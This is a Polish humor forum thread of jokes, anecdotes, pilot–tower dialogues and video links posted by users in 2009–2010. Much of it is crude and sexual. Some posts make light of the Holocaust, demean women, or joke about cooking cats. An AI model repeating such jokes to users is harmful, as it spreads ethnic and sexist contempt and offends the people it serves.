Pewnego dnia mąż nie wrócił do domu na noc. Następnego dnia powiedział żonie, że spał u kolegi Żona zadzwoniła do 10 jego najlepszych przyjaciół. 8 potwierdziło, że spał, a 2 - że jeszcze jest.....

I - 18-12-2009, 16:16

Serwisy informacyjne same doporowadzają się do absurdu:

Tytuł na górze:
"29-latek z HIV świadomie zarażał kobiety i mężczyzn?"
A pod artykułem beztroski podpis: ;)
"Polecamy w wydaniu internetowym: Zgwałcił i udusił 97-latkę"

P.
I

PS.
Artykułów raczej nie ma co czytać... :(

Dany - 19-12-2009, 06:35

"Świątecznie"

W KUCHNI:

Ona: Dyktuj, tylko powoli, żebym nadążyła robić !
On: Jak chcesz - do głębokiego naczynia wkładać warstwami: smażoną marchewkę
i cebulę...
Ona: dobra,... dalej
On: rybę .....
Ona: no, mam.....
On: boczek ....
Ona: dalej ...
On: plastry ziemniaków ...
Ona: ok, dalej ..
On: drobno pocięte jajka na twardo ...
Ona: dobra, dalej ...
On: i zielony groszek,
Ona: Gotowe. Coś jeszcze ?
On: przekładając każdą z warstw majonezem.
Ona: K***a Mać !!!!!!!!!!!

train - 29-12-2009, 23:10

Szczęściarze:
http://www.milanos.pl/film.php?cat=2&id=60111

Jak indyk z indykiem:
http://www.youtube.com/wa...feature=related

Tak po świętach...:
http://www.youtube.com/wa...layer_embedded#

Zjazd na wannie:
http://www.youtube.com/wa...player_embedded

Tutti Frutti:
http://www.youtube.com/pi.../38/HhDUMq14Plg

Ryszard Szwajcer - 30-12-2009, 00:40

Matka przyprowadziła swoją osiemnastoletnią córkę do lekarza informując go, że córka nieustannie cierpi na mdłości.
Lekarz po zbadaniu córki stwierdził, że jest ona mniej więcej w czwartym miesiącu ciąży.

-Co też pan mówi,panie doktorze, moja córka nigdy nie miała do czynienia z żadnym mężczyzną!!! Prawda, córeczko?
-Prawda, nawet się nigdy nie całowałam - zapewniła córeczka.

Lekarz bez słowa podszedł do okna i zaczął się intensywnie wpatrywać w dal.

-Panie doktorze, czy coś nie tak?- pyta po pięciu minutach zaniepokojona mamuśka.
-Nie, nie! Po prostu w takich wypadkach zazwyczaj na wschodzie ukazuje się jasna gwiazda i przybywa trzech króli. I za nic ku..a nie chcę tego przegapić.

aga_dive - 03-01-2010, 15:09

Włamywacz skarży się koledze:
- Ale miałem pecha. Wczoraj włamałem się do domu prawnika, a on mnie nakrył. Powiedział, żebym zmykał i więcej się nie pokazywał.
- No to jednak miałeś szczęście!
- Szczęście? Policzył sobie 300 zł za poradę!

Spotyka się dwóch biznesmenów:
- Słuchaj, zauważyłem, że w twojej firmie wszyscy przychodzą do pracy bardzo wcześnie. Jak ty to robisz?
- Prosty trick! Mam dwudziestu pracowników i piętnaście miejsc parkingowych...

Zwierzęta dostały powołanie do wojska. Pierwszy na komisję poszedł niedźwiedź.
- I co? I co?! - pyta się go zając gdy wyszedł.
- A mam przydział do kampanii budowlanej.
- Oj, to nie jest źle, powiedz jak to zrobiłeś, to pójdziemy tam razem.
- Pokazali mi karabin, spytali co to jest, ja odparłem, że nie wiem. Pokazali granat, powiedziałem, że nie wiem. Pokazali cegłę, powiedziałem - cegła - i mnie przydzielili.
Wszedł zając na komisję.
- Co to jest? - pytają, pokazując karabin.
- Nie wiem!
- A co to jest? - pytają pokazując granat.
- Nie wiem!
W tym momencie pytający schylił się pod stół po cegłę i zanim ją podniósł zając wrzasnął:
- Cegła!
- Do kontrwywiadu!

zibomax1970 - 03-01-2010, 17:34
Temat postu: To jest idealny trym
http://www.joemonster.org...skim_Mam_talent
Cerberiusz - 05-01-2010, 23:57

http://allegro.pl/item867...owy.html#galler\
jacekplacek - 12-01-2010, 20:27


breath - 13-01-2010, 12:18

Hehehe you would cry to if they did this to you :)
yanuszw - 14-01-2010, 00:47

Rok 1410. Grunwald. Król Jagiełło siedzi w namiocie z posłami krzyżackimi i kombinuje. Zginie wielu rycerzy. Wiele bab zostanie bez chłopów. Zaje.ją mi resztę wojska na śmierć. A może pojedynek? Rycerz polski na krzyżaka. Który wygra tego wojsko zwycięży. Tak postanowili. Król woła Zawiszę. Zawiszo! Stajesz do pojedynku z krzyżakiem. A Zawisza. Władek, nie dam rady. Jutro, pojutrze sam na całą armię ale nie dziś. Wczoraj zorganizowałem imprezę. Jeszcze jestem nieprzytomny. Król woła Zbyszka. Zbyszko, masz pojedynek. A Zbyszko. Władek nie mogę. Byłem wczoraj na imprezie u Zawiszy. Nie wiem jak się nazywam. Kolejny rycerz też był na imprezie u Zawiszy. Pozostali też. Król zwołał całe wojsko i pyta. Kto nie był na imprezie u Zawiszy? Cisza. I nagle gdzieś z tylnych szeregów wyczłapuje dziadek ciągnący za sobą wielki miecz. Ja królu nie byłem. Zaspałem. Dobra. Mówi król. Stajesz do pojedynku z krzyżakiem. Grunwald. 1410 rok. Przez pole człapie dziadek ciągnąc za sobą wielki miecz. Naprzeciw niego wylatuje ogromny krzyżak na wielkim koniu. Obaj zakuci w zbroje. Jak to zobaczylo polskie wojsko, zaczęło krzyczeć. W nogi dziadek! Dziadek! W nogi! Rycerz wpadł na dziadka. Podniósł się kurz. Zaszczękało żelazo. Zakwiliło coś. Zajęczało. Kurz opadł. Na polu leży krzyżak bez nóg. Koń też. A dziadek pochylony nad krzyżakiem mówi. Dobrze ch.ju, że krzyczeli w nogi dziadek w nogi bo bym ci ku.wa łeb odrąbał.
Dany - 14-01-2010, 07:56

Spostrzeżenia:

1.Biała kredka - nierozwiązana zagadka dzieciństwa.
2. Bramki w sklepie - mimo że nic nie zwinąłeś, i tak boisz się, że zapiszczą.
3. Babcie - pod blokiem mogą sterczeć dwie godziny, ale w tramwaju pięciu minutnie ustoją.
4. Sprawiedliwość - jazda na rowerze pod wpływem alkoholu: 5 lat, molestowanieseksualne: 3 lata w zawieszeniu.
5. Potrzeba jednej iskry, by spalić las, ale całej paczki zapałek, by rozpalićgrilla.
6. Kiedyś będę tak bogaty, że jednorazówką będę golił się tylko raz.
7. Polsat - oglądasz sobie z rodzinką reklamy, a tu nagle film.
8. Polska - tutaj nawet kryzys się nie udał.
9. Bill Gates - okrada go 75% ludzkości, a i tak jest najbogatszy.
10. Podawanie pensji brutto to jak podawanie długości członka wraz zkręgosłupem.
11. Pan Mietek spod trójki nie ma nawet matury, a za piwo zreperuje promkosmiczny.
12. Leżakowanie w przedkoszlu - kiedyś kara, a teraz każdy chciałby te 2 h snuw ciągu dnia...
13. Mleko na gazie tylko czeka, aż się odwrócisz.
14. -Mamo, co to znaczy orgazm? -Ja nie wiem, zapytaj taty.
15. Łacina - jedyny język, w którym nawet "gówno" brzmi mądrze.
16. Nawet, jakby papier toaletowy miał 8 warstw, to i tak złożysz go na pół.
17. A4 - jedyna płatna jednopasmówka na świecie.
18. Najlepszym dowodem na to, że w kosmosie istnieje inteligencja, jest to, żesię z nami nie kontaktują.
19. Tesco - nigdzie indziej nie znajdziesz wody LEKKO NIEGAZOWANEJ za pół ceny.
20. Jerzy Dudek - przypuszczalnie najlepiej zarabiający kibic Realu Madryt.
21. Jak Polacy uniknęli korków na autostradach? Nie wybudowali autostrad!
22. Seks jest jak skok na bungee - dodaje adrenaliny, a gdy pęknie guma, maszprzerąbane.
23. Jeżeli trzeci dzień nie chce ci się pracować, to znaczy, że to już środa.
24. Kość piszczelowa - urządzenie do znajdywania mebli w ciemnym pokoju.
25. Polska: jak kupisz mi spodnie, to zrobię ci loda. Azja: jak kupisz mi loda,zrobię ci spodnie.
26. Chleb - zero marketingu, najwyższa sprzedaż.
27. Britney Spears: "Jestem za karą śmierci. Przestępca powinien miećnauczkę na przyszłość."
28. Egzamin - na korytarzu każdy wmawia ci, że nic nie umie.
29. Szacunek do nauczyciela - istnieje wtedy, gdy uczniowie po usłyszeniudzwonka pozwalają mu dokończyć wypowiedź.
30. Paradoks seksualny - seks można uprawiać od 15 roku życia, a oglądać - od18.
31. Okres i wypłata - jedno i drugie jest co miesiąc, a jak nie ma, to znaczy,że ktoś was zdrowo wyruchał.
32. Paradoks Szymborskiej - dla testu napisała maturę, interpretując swojewiersze - i dostała 60%.
33. Studenci pierwszego roku - spieszmy się ich poznawać, tak szybkoodchodzą...
34. Gdy umrę, rozsypcie moje prochy pod Tesco - wtedy będzie mnie odwiedzać coniedzielę.
35. Pieniądze szczęścia nie dają. Ale pozwalają wygodnie być nieszczęśliwym.
36. Mały palec u nogi powstał tylko po to, by boleśniej walnąć się o szafkę.
37. Kanapka studencka - chleb posmarowany nożem.
38. Pieniądze z pierwszej komunii - do dziś nie wiesz, gdzie się podziały.
39. Nimfomanka - kobieta, która pragnie seksu tak często jak przeciętnymężczyzna.
40. Polska waluta - tylko tutaj złoty jest srebrny.
41. Na uczelni poranna fizyka zagina czas. Po 30 minutach jest 08:05.
42. Feminizm kończy się, gdy trzeba wnieść szafę na 8. piętro.

breath - 18-01-2010, 10:38

Dzwoni telefon....
- Lubartów 33?
- Taaa...
- Kuba?!
- A kto mówi?
- Mojsze.
- Skąd dzwonisz, Mojsze?
- Z Monachium.
- Oooo, Bawaria. A co tam robisz?
- Poszczęściło mi się bardzo...
- Taaaa?
- W kostnicy miejskiej pracuję...
- Oooo...
- ... i nie uwierzysz: NIEMCÓW PALĘ!

PawelW - 19-01-2010, 22:26

breath napisał/a:
- ... i nie uwierzysz: NIEMCÓW PALĘ!


BRAVO !!!!!!

breath - 20-01-2010, 17:30

ehhh pare dni sie z tego smialem :)

- Tatusiu, czyja jestem adoptowany?
- Byłeś. Ale cię oddali.

- Co może być gorszego od kamyczka w bucie?
- Ziarenko piasku w prezerwatywie.

Światem rządzi miłość. Ja na przykład kocham wypić.

Adam i Ewa spacerują po raju
- Adam, kochasz mnie?
- A kogo mam kochać...

Dlaczego huragany dostają imiona kobiet?
- Bo najpierw są cieple i wilgotne, a pozniej zabierają domy i samochody.

Dialog
- Ożenisz się ze mną?
- Nie.
- To złaź!

Kolega dzwoni do kolegi:
- Wpadaj do mnie, są dwie znajome, zabawimy sie!!
- ładne???
- Wypijemy, będzie ok...

Przychodzi gruba baba do lekarza. Lekarz pyta:
- Bierze pani te tabletki na odchudzanie?
- Tak, biorę.
- A ile?
- Ile, ile... Aż się najem!!

- Kochanie,gdzie byłeś?
- Biegłem.
- A czemu koszulka sucha, a majtki mokre?
- Bo nie dobiegłem.

iXXL - 20-01-2010, 17:40

- Panie doktorze, w ogóle nie mogę spać, proszę mi coś przypisać.
- bardzo proszę, tu są bardzo silne czopki.
Za tydzień, na kontroli lekarz pyta:
- i jak czopki, pomagają zasnąć?
- taaak, nawet bardzo! Mam tylko prośbę, mogę prosić o coś słabszego bo jak się budzę to mam jeszcze palec w dupie…

Padmapatra - 20-01-2010, 22:32

Pewna pani wybrała się do Afryki na safari i zabrała ze sobą swojego
pupila - pudelka. W trakcie wyprawy piesek wypadł z jeepa, czego nikt nie zauważył.
Piesek biegł za samochodem, biegł, biegł... ale auta nie
dogonił...Nagle słyszy gdzieś za sobą szelest i kątem oka dostrzega
zbliżającego się lamparta. Zadrżał ze strachu, przed oczami
przeleciało mu całe życie. Strach jak cholera,
rozgląda się w poszukiwaniu ratunku - jest ! Kawałek dalej w
trawie leżą jakieś poobgryzane szczątki...
- Może nie wszystko stracone - myśli pudelek i dopada padliny. Lampart
wyłazi z krzaków, patrzy, tam jakiś dziwaczny mały stwór coś
zajada, ciamka i mlaszcze. Lampart już, już ma na
niego skoczyć, ale słyszy jak stwór mruczy do siebie:
- Mmmm... jaki smaczny ten lampart... rarytas... mięsko palce lizać...a
kosteczki - co za rozkosz... Lampart przeraził się i dał nura w krzaki.
- Całe szczęście, że mnie nie widział ten mały diabeł, bo zżarłby
mnie jak dwa razy dwa - myśli uciekając. Pudelek odetchnął, ale
zauważył, że na drzewie siedzi małpa, która najwyraźniej
obserwowała całą sytuację, bo minę ma zdziwioną. No i oczywiście
małpa puszcza się biegiem za lampartem i wrzeszczy. Co robić? Małpa
faktycznie dopada lamparta i opowiada mu, jak to został wystrychnięty na
dudka. Lampart wkurzył się strasznie. Kazał małpie wsiąść mu na
grzbiet i wrócić ze sobą na polankę, żeby była świadkiem tego, jak
rozprawi się z tym stworem. Wracają, patrzą, a tam pudelek rozwalony na
grzbiecie, dłubie w zębach pazurem i gada do siebie:
Gdzie do cholery ta małpa? Wysłałem ją po kolejnego lamparta, a ta szmata nie wraca i nie wraca...

Krzysiek Haracz - 22-01-2010, 17:46

iXXL napisał/a:
- Panie doktorze, w ogóle nie mogę spać, proszę mi coś przypisać.
- bardzo proszę, tu są bardzo silne czopki.
Za tydzień, na kontroli lekarz pyta:
- i jak czopki, pomagają zasnąć?
- taaak, nawet bardzo! Mam tylko prośbę, mogę prosić o coś słabszego bo jak się budzę to mam jeszcze palec w dupie…

Genialne :DDDDDD :DDDDDD

jacekplacek - 24-01-2010, 21:42

Mąż siedzi przy komputerze, za jego plecami żona.
Żona mówi:
- Puść mnie na chwilę, teraz ja sobie posurfuję po internecie!
A mąż na to:
- No a fee mać! Czy ja Ci wyrywam gabkę z ręki jak zmywasz naczynia?!

WW - 25-01-2010, 10:39

Nie wiem czy było, ale nie mam możliwości sprawdzenia wszystkiego, więc jakby co to wybaczcie. :bee;

Dialogi pilotów:

Wieża: Żeby uniknąć hałasu, odchylcie kurs o 45 stopni w prawo.
Pilot: Jaki hałas możemy zrobić na wys. 35000 stop?
Wieża: Taki kiedy wasz 707 uderzy w tego 727, którego macie przed
sobą...

Wieża: Jesteście Airbus 320 czy 340?
Pilot: Oczywiście, ze Airbus 340.
Wieża: W takim razie niech pan będzie łaskaw włączyć przed startem
pozostałe dwa silniki.

Pilot: Dzień dobry Bratysławo.
Wieża: Dzień dobry. Dla informacji - mówi Wiedeń.
Pilot: Wiedeń?
Wieża: Tak.
Pilot: Ale dlaczego, my chcieliśmy do Bratysławy.
Wieża: OK w takim razie przerwijcie lądowanie i skręćcie w lewo...

Pilot Alitalia, któremu piorun wyłączył pół kokpitu:
"Skoro wszystko wysiadło, nic już nie działa, wysokościomierz nic
nie pokazuje...." Po pięciu minutach nadawania odzywa się pilot
innego samolotu:
"Zamknij się, umieraj jak mężczyzna"

Pilot: Mamy mało paliwa. Pilnie prosimy o instrukcje...
Wieża: Jaka jest wasza pozycja? Nie ma was na radarze.
Pilot: Stoimy na pasie nr 2 i już całą wieczność czekamy na cysternę.

Pilot: Prosimy o pozwolenie na start.
Wieża: Sorry, ale nie mamy waszego planu lotu, dokąd lecicie?
Pilot: Do Salzburga, jak w każdy poniedziałek...
Wieża: DZISIAJ JEST WTOREK
Pilot: No to super, czyli mamy wolne...

Wieża: Wasza wysokość i pozycja?
Pilot: Mam 180 cm wzrostu i siedzę z przodu po lewej...

Wieża: Macie dość paliwa czy nie?
Pilot: Tak.
Wieża: Tak, co?
Pilot: Tak, proszę pana.

Wieża: Podajcie oczekiwany czas przylotu.
Pilot: Wtorek by pasował...

DC-1 miał bardzo daleką drogę hamowania po wylądowaniu z powodu
nieco za dużej prędkości przy podejściu. Wieża San Jose: "American
751 skręć w prawo na końcu pasa, jeśli się uda. Jeśli nie, znajdź
wyjazd "Guadeloupe" na autostradę nr 101 i skręć na światłach w
prawo, żeby zawrócić na lotnisko.

Po każdym locie, piloci linii lotniczych są zobowiązani do
wypełnienia kwestionariusza na temat problemów technicznych,
napotkanych podczas lotu.
Formularz jest następnie przekazywany mechanikom w celu dokonania odpowiednich korekt. Odpowiedzi mechaników są wpisywane w dolnej części kwestionariusza, by umożliwić pilotom zapoznanie się z nimi przed następnym lotem. Nikt nigdy nie twierdził, że załogi naziemne i mechanicy są pozbawieni poczucia humoru. Poniżej zamieszczono kilka autentycznych przykładów podanych przez pilotów linii QUANTAS oraz odpowiedzi udzielone przez mechaników. Przy okazji warto zauważyć, że QUANTAS jest jedyną z wielkich linii lotniczych, która nigdy nie miała poważnego wypadku...
P = problem zgłoszony przez pilota
O = Odpowiedź mechaników

P: Lewa wewnętrzna opona podwozia głównego niemal wymaga wymiany.
O: Niemal wymieniono lewą wewnętrzną oponę podwozia głównego.

P: Przebieg lotu próbnego OK. Jedynie układ automatycznego lądowania
przyziemia bardzo twardo.
O: W tej maszynie nie zainstalowano układu automatycznego lądowania.

P: Coś się obluzowało w kokpicie.
O: Coś umocowano w kokpicie.

P: Martwe owady na wiatrochronie.
O: Zamówiono żywe.

P: Autopilot w trybie 'utrzymaj wysokość' obniża lot 200 stóp/minutę.
O: Problem nie do odtworzenia na ziemi.

P: Ślady przecieków na prawym podwoziu głównym.
O: Ślady zatarto.

P: Poziom DME niewiarygodnie wysoki.
O: Obniżono poziom DME do bardziej wiarygodnego poziomu.

P: Zaciski blokujące powodują unieruchomienie dźwigni przepustnic.
O: Właśnie po to są.

P: Układ IFF nie działa.
O: Układ IFF zawsze nie działa, kiedy jest wyłączony.

P: Przypuszczalnie szyba wiatrochronu jest pęknięta.
O: Przypuszczalnie jest to prawda.

P: Brak silnika nr 3.
O: Silnik znaleziono na prawym skrzydle po krótkich poszukiwaniach.

P: Samolot śmiesznie reaguje na stery.
O: Samolot upomniano by przestał, latał prosto i zachowywał
się poważnie.

P: Radar mruczy.
O: Przeprogramowano radar by mówił.

P: Mysz w kokpicie.
O: Zainstalowano kota.

P: Po wyłączeniu silnika słychać jęczący odgłos.
O: Usunięto pilota z samolotu.

P: Zegar pilota nie działa.
O: Nakręcono zegar.

P: Igła ADF nr 2 szaleje.
O: Złapano i uspokojono igłę ADF nr 2.

P: Samolot się wznosi jak zmęczony.
O: Samolot wypoczął przez noc. Testy naziemne OK.

P:3 karaluchy w kuchni.
O:1 karaluch zabity, 1 ranny, 1 uciekł.

jacekplacek - 25-01-2010, 17:50

Świat według Polaków:



Świat według Amerykanów:


Dany - 25-01-2010, 23:14

Pewien człowiek miał IQ na poziomie 160, mensa, te sprawy, ale nie miał znajomych. Udał się zatem do lekarza.
- Panie doktorze, mógłby pan usunąć mi 20% mózgu?
- Ale dlaczego chciałby pan usunąć 20% mózgu?
Gość wytłumaczył lekarzowi, że z racji swojego ilorazu inteligencji nie może znaleźć sobie znajomych na swoim poziomie. Lekarz zgodził się na operację i wyciął mu 20% mózgu.
Po miesiącu do gabinetu wchodzi ponownie ten sam mężczyzna.
- Panie doktorze dziękuję uprzejmie za przeprowadzenie operacji. Mam kilku nowych znajomych, spotykamy się w weekendy i rozmawiamy o poezji przy lampce dobrego wina. Jednak chciałbym pana prosić, żeby usunął mi pan kolejne 20% mózgu, myślę, że mógłbym być jeszcze szczęśliwszy.
Lekarz niechętnie, ale zgodził się na zabieg i usunął kolejne 20% mózgu pacjenta.
Po kolejnym miesiącu do gabinetu zamaszyście wchodzi ten sam gość.
- No jak tam doktorze? Bo u mnie fajnie, całe weekendy bawię się ze znajomymi, chodzimy do klubów, wódeczka, dziewczynki, imprezy. Ale myślę, że jakby mi pan usunął jeszcze 20% mózgu to byłbym jeszcze szczęśliwszy.
- Ale proszę pana zostanie panu tylko 40% mózgu.
- Jestem gotów podjąć to ryzyko.
Lekarz zgodził się na zabieg i wyciął mu kolejne 20% mózgu.
Po miesiącu do gabinetu niemalże wbiega ten sam człowiek, hawajska koszula, ciemne okulary, włosy na żel.
- Jak tam doktorku? U mnie zaje.iście, c.pki, imprezki cały tydzień. Z imprezy na imprezę. Wódeczka strumieniami. Codziennie inna dupa w łóżku. Zaje.iste życie, ale wy.ierdol mi jeszcze 20% to już będę chyba kur.a bogiem!
- No ale zostanie panu tylko 20% mózgu.
- a fee z tym doktorku.
Lekarz zgodził się, dokonał zabiegu.
Minął tydzień, drugi, trzeci gość nie wraca. "Pewnie bawi się w najlepsze" myśli sobie lekarz. I kiedy ma już wychodzić z gabinetu słyszy ciche pukanie do drzwi. Otwiera a tam ten gość. Zapłakany.
- Co się stało? Stracił pan znajomych? Nie wie pan gdzie na imprezę?
- Nie to nie to. Mam mnóstwo znajomych, bawię się całymi dniami i nocami, jestem rozchwytywany na imprezy...
- To o co chodzi?
- Dostałem okres.

train - 25-01-2010, 23:25

Dołożyć sprzęt nurkowy i będzie zaj....e wejście do wody:
http://www.youtube.com/wa...layer_embedded#

jacekplacek - 27-01-2010, 09:51

Pewnego dnia zabrałem ze sobą mojego dziadka do sklepu w centrum miasta aby kupić mu nowa parę butów. Zatrzymaliśmy się aby kupić sobie coś szybkiego do przekąszenia. Kiedy podchodziłem do stolika gdzie siedział dziadek, zauważyłem jak przygląda się on nastolatkowi z nastroszonymi różnokolorowymi włosami. Mój dziadek przyglądał mu się uważnie aż w końcu młody chłopak bardzo wulgarnie odezwał się do dziadka: - Co ku rwa stary dziadu, nigdy w życiu nie zrobiłeś nic zwariowanego ? Znając mojego dziadka szybko połknąłem kawałek pizzy który miałem w ustach aby nie zakrztusić się podczas jego odpowiedzi. Nie zawiodłem się. Bardzo spokojnie i bez zmrużenia oka odpowiedział : - Tak....raz się tak naje bałem, że wyruchałem pawia i właśnie się zastanawiam czy nie jesteś przypadkiem moim synem......
divedevil - 28-01-2010, 18:21

jacekplacek napisał/a:
Pewnego dnia zabrałem ze sobą mojego dziadka do sklepu w centrum miasta aby kupić mu nowa parę butów. Zatrzymaliśmy się aby kupić sobie coś szybkiego do przekąszenia. Kiedy podchodziłem do stolika gdzie siedział dziadek, zauważyłem jak przygląda się on nastolatkowi z nastroszonymi różnokolorowymi włosami. Mój dziadek przyglądał mu się uważnie aż w końcu młody chłopak bardzo wulgarnie odezwał się do dziadka: - Co ku rwa stary dziadu, nigdy w życiu nie zrobiłeś nic zwariowanego ? Znając mojego dziadka szybko połknąłem kawałek pizzy który miałem w ustach aby nie zakrztusić się podczas jego odpowiedzi. Nie zawiodłem się. Bardzo spokojnie i bez zmrużenia oka odpowiedział : - Tak....raz się tak naje bałem, że wyruchałem pawia i właśnie się zastanawiam czy nie jesteś przypadkiem moim synem......


Wymiękłem :aaa:

PawelW - 01-02-2010, 08:47

dobre w ryj , bym tylko ja mial takie poczycie humoru jak DZIADEK :) :) :)
thorne - 02-02-2010, 10:05

Coś z kursu na prawko:

Czym się różni linia ciągła od kota?
Ciągłej nie można przejechać ;p

divedevil - 02-02-2010, 11:52

Strasznie puste :pad:
ADHD - 02-02-2010, 17:46

DENNE!!!!! :snajp:
Padre-Kris - 02-02-2010, 20:32

Dajcie spokój to dzieciak
thorne - 02-02-2010, 23:03

Wypraszam sobie tego dzieciaka. Jeżeli chodzi wam o kota to przecież tylko żart. Nie jestem jakimś sadystą. Lubie zwierzęta
martin - 02-02-2010, 23:10

thorne napisał/a:
Jeżeli chodzi wam o kota to przecież tylko żart.


Tak samo smieszny jak zarty o zydach...

thorne - 02-02-2010, 23:26

Jeżeli kogoś uraziłem to przepraszam -.-
jacekplacek - 03-02-2010, 08:36

thorne napisał/a:
Nie jestem jakimś sadystą. Lubie zwierzęta

Ja też, tylko że koty strasznie drapią i spierniczają z garnka.

Ryszard Szwajcer - 03-02-2010, 14:18

Ja też nie lubię kotów, bo za długo się gotują :ping:
DeDeK - 03-02-2010, 14:39

nie wiem co wy chcecie od kotow ja je lubie najbardziej z marchewka i groszkiem
iXXL - 03-02-2010, 15:31

Brawo panowie za rozladowania napiecia, bo niewiele brakowalo do klotni nawet w tym watku :beer3:

Nauczycielka od J.polskiego wchodzi do klasy i mówi:zadam wam teraz do napisania wypracowanie w którym musi występować
-wątek religijny,
-Wątek historyczny,
-wątek miłosny,
-wątek sensacyjny.
No to zaczynajcie pisać.Wszyscy zaczęli pisać, a Jasiu siedzi i huśta się na krześle.Nauczycielka podchodzi do niego i pyta się go:
- A ty Jasiu już napisałeś?
- Tak
- A mógłbyś nam przeczytać co napisałeś?
No i Jasiu zaczął czytać:

O mój Boże (wątek religijny) westchnęła Hrabina (wątek historyczny) jestem w ciąży (wątek miłosny) ale nie wiem z kim (wątek sensacyjny).


Nauczycielka pyta dzieci:
- Jakie warzywo sprawia, że oczy łzawią?
- Rzepa, proszę pani - wyrywa się z odpowiedzią Jaś.
- Nie Jasiu, zapewne miałeś na myśli cebulę.
- Nie, proszę pani! Pani nigdy nie oberwała rzepą po jajach.

Ryszard Szwajcer - 03-02-2010, 16:31

Aukcja - sprzedam telefon...
http://paa.pl/siemens_c65...-727417129.html

martin - 03-02-2010, 16:42

jacekplacek napisał/a:
spierniczają z garnka.


Nie wszystkie


wielki nicpoń - 03-02-2010, 20:44

jacekplacek napisał/a:
koty strasznie drapią

Nie wszystkie



Dany - 03-02-2010, 20:49

Zdesperowana dziewczyna stoi na nadbrzeżu i chce popełnić samobójstwo. Widzi to młody marynarz, podchodzi do niej i mówi:
- Nie rób tego! Zabiorę cię na pokład naszego statku, ukryję, przemycę do Ameryki i zaczniesz nowe życie. Przez cały rejs będę cię karmił, będę ci dawał radość, a ty będziesz mnie dawać radość. Jeszcze nie wszystko stracone...
Dziewczyna, jeszcze pochlipująca z cicha, postanowiła dać sobie jeszcze jedną szansę i poszła z nim na statek. Jak obiecywał, tak zrobił - ukrył ją pod pokładem, raz na jakiś czas podrzucał jej kanapkę, jakiś owoc lub coś do picia, a całe noce spędzali na miłosnych igraszkach. Sielankę przerwał kapitan, który pewnego dnia odkrył kryjówkę dziewczyny.
- Co tu robisz? - zapytał surowo.
- Mam układ z jednym z marynarzy. Zabrał mnie do Ameryki, karmi mnie, a ja mu pozwalam robić ze mną, co chce. Mam nadzieje, że kapitan go nie ukarze?
- Nie - odpowiedział kapitan. - Chciałbym jednak, żebyś wiedziała, że jesteś na pokładzie promu Wolin - Świnoujście - Wolin.

Padre-Kris - 04-02-2010, 09:40

Pokłóciły się okrutnie części ciała. No, bo kto tu rządzi?
- Toż jasnym jest, że ja - burknął mózg - to ja tu myślę i wszystko
kontroluję.
- Bzdura! - zaprotestowały ręce - my tu robimy najwięcej - zarabiamy na
wasze utrzymanie.
- Ech - westchnęły nogi - to nasza rola rządzić, to my decydujemy, jaki
kierunek obrać i dążyć w słusznym kierunku.
- My - odparły oczy - myśmy szefami - my wszystko widzimy i naprawdę nic
nam nie umyka.
- Bzdura - odparł żołądek - to ja tu rządzę, wytwarzam wam wszystkim
energię, ciężko pracuję i trawię. Beze mnie zginiecie...
- JA BĘDĘ SZEFEM - nagle odezwała się milcząca dotąd dupa - I JUŻ.
Śmiech ogólny, że całe ciało się nie może pozbierać.
- DOBRA - odpowiedziała dupa - jak tak, to STRAJK. I przestała robić
cokolwiek.
Minęło kilkanscie dni. Mózg dostał gorączki. Ręce opadły. Nogi zgięły się w
kolanach Oczy wyszły na wierzch. Żołądek wzdęło i spuchł z wysiłku.
Szybko zawarto porozumienie. Szefem została dupa.
I tak to już jest drodzy moi. Szefem może zostać tylko ten, co gówno robi.

kalel - 04-02-2010, 20:16
Temat postu: Musisz ją mieć...
http://www.allegrofun.pl/show/2164
DeDeK - 08-02-2010, 09:20

Jedna kolezanka zali sie drugiej:
- Mój Kazik jest jakiś ostatnio oziebly w sprawach seksu.
- Podmień mu w czasie kąpieli szampon na taki dla psów - radzi druga
- Ja swojemu tak zrobilam to po wyjściu spod prysznica rzucil sie na mnie jak jakiś brytan, zaciągnąl do lózka i malo mnie na strzepy nie rozerwal w czasie stosunku.
Minely dwa dni:
- Beznadziejna ta twoja rada z szamponem dla psów.
- Cos ty? Nie zadzialalo?
- Zadzialalo. Wyskoczyl z lazienki, zezarl calą kielbase z lodówki, a jak mu zwróciłam uwagę, to ugryzl mnie w tyłek i polecial do tej suki, Kowalskiej, z trzeciego pietra.


Juhas widzi bacę prowadzącego duże stado owiec.
- Dokąd je prowadzicie?
- Do domu. Bedę je hodował.
- Przecie nie macie obory, ani zagrody! Gdzie bedziecie je trzymać?
- W mojej izbie.
- Toż to straszny smród.
- Cóż, bedom sie musiały przyzwyczaić.


Dzwoni telefon:
- Pan Kowalski?
- Tak.
- To pan wczoraj wyciągnął z wody mojego tonącego synka?
- Tak.
- Oddawaj czapkę złodzieju!!!

[ Dodano: 08-02-2010, 09:23 ]
musze musze musze


biedny czarny kotek !!!

jacekplacek - 08-02-2010, 12:39

Chyba aktualne, ale tylko troszeczkę :D


iXXL - 08-02-2010, 18:39

i tak najzabawniej jest w naszym demokratycznie wybranym sejmie :D

STARCIE

http://www.youtube.com/watch?v=TQWsQVUhYc4

RIPOSTA

http://www.youtube.com/wa...feature=related

Korku - 10-02-2010, 16:12

http://www.dailymotion.pl...pielygnacja_fun - Chłopaki dbajcie o siebie ;D
DeDeK - 10-02-2010, 16:40

Cytat:
http://www.dailymotion.pl...pielygnacja_fun - Chłopaki dbajcie o siebie ;D


cycki mi opadly :P

.... to jest cala moja pielegnacja meska .... chyba ...... ;P

agun - 11-02-2010, 14:13

http://www.joemonster.org...awia_w_Norwegii
ASIGM - 12-02-2010, 21:31

Pan Prezydent RP wymknął się ochronie i niezauważony opuścił posiadłość na Helu. Złapał stopa i późnym popołudniem wylądował we Władysławowie. Pochodził trochę po plaży, wydał 19,50 na pamiątki w straganach na deptaku aż zrobił się głodny. Ale zobaczył, że nie ma już kasy. Szybko pomaszerował na pocztę wymachując książeczką oszczędnościową PKO na której miał zadołowane całe 400 zł. Na poczcie okazało się jednak, że nie wziął ze sobą dowodu osobistego i panienka nie chciała mu wypłacić pieniędzy. Trochę zły powiedział:
- Przecież ja jestem Lech Kaczyński. Prezydent RP.
- Każdy może tak powiedzieć - odparła panienka z okienka
- No ale jak mam pani udowodnić, że ja to ja - nie dawał za wygraną Lechu
- Hmm - pomyślała panienka - Wie pan, kiedyś był tu Krzysztof Krawczyk i też nie miał dowodu ale zaśpiewał "parostatek" i wypłaciliśmy mu pieniądze. Innym razem Adam Małysz pokazywał jak się ląduje telemarkiem i też uwierzyliśmy mu. Może i Pan jakoś nam udowodni, że jest Pan Prezydentem.
- No nie wiem - odpowiedział zły jak diabli Kaczyński - Przychodzą mi do głowy same jakieś poj****e pomysły...
